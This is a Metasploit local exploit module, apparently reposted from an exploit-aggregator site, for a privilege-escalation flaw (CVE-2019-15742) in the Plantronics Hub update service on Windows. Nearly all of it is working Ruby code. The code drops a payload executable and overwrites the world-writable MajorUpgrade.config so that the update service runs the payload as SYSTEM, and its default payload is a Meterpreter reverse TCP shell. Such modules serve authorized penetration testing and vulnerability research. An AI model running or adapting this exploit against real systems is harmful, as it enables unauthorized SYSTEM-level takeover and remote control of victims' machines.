Exploit for Plantronics Hub SpokesUpdateService Privilege Escalation CVE-2019-15742

## https://sploitus.com/exploit?id=PACKETSTORM:155952
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::EXE  
include Post::File  
include Post::Windows::Priv  
include Post::Windows::Services  
include Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation',  
'Description' => %q{  
The Plantronics Hub client application for Windows makes use of an  
automatic update service `SpokesUpdateService.exe` which automatically  
executes a file specified in the `MajorUpgrade.config` configuration  
file as SYSTEM. The configuration file is writable by all users by default.  
  
This module has been tested successfully on Plantronics Hub version 3.13.2  
on Windows 7 SP1 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Markus Krell', # Discovery and PoC  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['CVE', '2019-15742'],  
['EDB', '47845'],  
['URL', 'https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf']  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' => [['Automatic', {}]],  
'DisclosureDate' => '2019-08-30',  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
},  
'Notes' =>  
{  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'DefaultTarget' => 0))  
register_advanced_options [  
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),  
]  
end  
  
def base_dir  
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s  
end  
  
def service_exists?(service)  
srv_info = service_info(service)  
  
if srv_info.nil?  
vprint_warning 'Unable to enumerate Windows services'  
return false  
end  
  
if srv_info && srv_info[:display].empty?  
return false  
end  
  
true  
end  
  
def check  
service = 'PlantronicsUpdateService'  
  
unless service_exists? service  
return CheckCode::Safe("Service '#{service}' does not exist")  
end  
  
path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G"  
  
unless exists? path  
return CheckCode::Safe("Directory '#{path}' does not exist")  
end  
  
CheckCode::Detected  
end  
  
def exploit  
unless check == CheckCode::Detected  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
if is_system?  
fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'  
end  
  
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"  
payload_exe = generate_payload_exe  
vprint_status "Writing payload to #{payload_path} ..."  
write_file payload_path, payload_exe  
register_file_for_cleanup payload_path  
  
config_path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G\\MajorUpgrade.config"  
vprint_status "Writing configuration file to #{config_path} ..."  
write_file config_path, "#{session.sys.config.getenv('USERNAME')}|advertise|#{payload_path}"  
register_file_for_cleanup config_path  
end  
end